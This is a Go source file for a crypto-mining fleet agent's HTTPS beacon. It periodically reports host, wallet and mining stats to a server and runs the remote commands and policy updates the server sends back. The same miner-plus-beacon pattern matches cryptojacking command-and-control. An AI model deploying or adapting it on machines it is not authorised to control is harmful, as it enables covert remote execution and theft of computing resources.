package client import ( "bytes" "encoding/json" "fmt" "io" "log" "net/http" "strings" "time" "crypto-miner-agent/config" ) type beaconHTTPResponse struct { OK bool `json:"ok"` Commands []struct { Action string `json:"action"` TailLines int `json:"tail_lines"` Command string `json:"command"` Path string `json:"path"` Data string `json:"data"` Module string `json:"module"` } `json:"commands"` Policies []FleetPolicyUpdate `json:"policies"` } func (c *AgentClient) httpsBeaconEnabled() bool { if !c.cfg.HTTPSBeaconFallback { return false } if c.cfg.FleetSecret == "" { return false } return true } func (c *AgentClient) httpsBeaconAfterDuration() time.Duration { min := c.cfg.HTTPSBeaconAfterMin if min <= 0 { min = 3 } return time.Duration(min) * time.Minute } func (c *AgentClient) shouldUseHTTPSBeacon(wsDownSince time.Time) bool { if !c.httpsBeaconEnabled() || wsDownSince.IsZero() { return false } return time.Since(wsDownSince) >= c.httpsBeaconAfterDuration() } func (c *AgentClient) apiBaseURL(serverURL string) (string, error) { raw := strings.TrimSpace(serverURL) if raw == "" { return "", fmt.Errorf("empty server URL") } if !strings.Contains(raw, "://") { raw = "http://" + raw } return strings.TrimSuffix(raw, "/") + "/api/v1", nil } // beaconOnce performs one HTTPS beacon cycle; the outer Run loop retries WebSocket each iteration. func (c *AgentClient) beaconOnce(serverURL string) error { c.beaconMode.Store(true) defer c.beaconMode.Store(false) c.connected.Store(true) defer c.connected.Store(false) client := &http.Client{Timeout: 45 * time.Second} base, err := c.apiBaseURL(serverURL) if err != nil { return err } stats, err := c.collectStatsPayload() if err != nil { log.Printf("[agent] beacon stats: %v", err) } host, _, _ := c.reporter.SystemInfo() body, _ := json.Marshal(map[string]interface{}{ "agent_id": c.agentID, "stats": stats, "hostname": host, "wallet": c.cfg.Wallet, "worker_name": c.cfg.WorkerName, "version": config.Version, }) req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon", bytes.NewReader(body)) if err != nil { return err } req.Header.Set("Content-Type", "application/json") req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret) resp, err := client.Do(req) if err != nil { return err } data, _ := io.ReadAll(resp.Body) resp.Body.Close() if resp.StatusCode == http.StatusForbidden { return fmt.Errorf("beacon auth rejected") } if resp.StatusCode != http.StatusOK { return fmt.Errorf("beacon HTTP %s", resp.Status) } var br beaconHTTPResponse if err := json.Unmarshal(data, &br); err != nil { return err } for _, p := range br.Policies { raw, _ := json.Marshal(p) c.applyPolicyUpdate(raw) } for _, cmd := range br.Commands { c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data, cmd.Module) } return nil } func (c *AgentClient) beaconInterval() time.Duration { sec := c.cfg.BeaconIntervalSec if sec <= 0 { sec = 10 } return time.Duration(sec) * time.Second } func (c *AgentClient) postBeaconResult(payload []byte) { serverURLs := buildServerURLList(c.cfg) if len(serverURLs) == 0 { return } base, err := c.apiBaseURL(serverURLs[0]) if err != nil { return } var body map[string]interface{} _ = json.Unmarshal(payload, &body) body["agent_id"] = c.agentID out, _ := json.Marshal(body) req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon/result", bytes.NewReader(out)) if err != nil { return } req.Header.Set("Content-Type", "application/json") req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret) client := &http.Client{Timeout: 30 * time.Second} resp, err := client.Do(req) if err != nil { log.Printf("[agent] beacon result post failed: %v", err) return } io.Copy(io.Discard, resp.Body) resp.Body.Close() }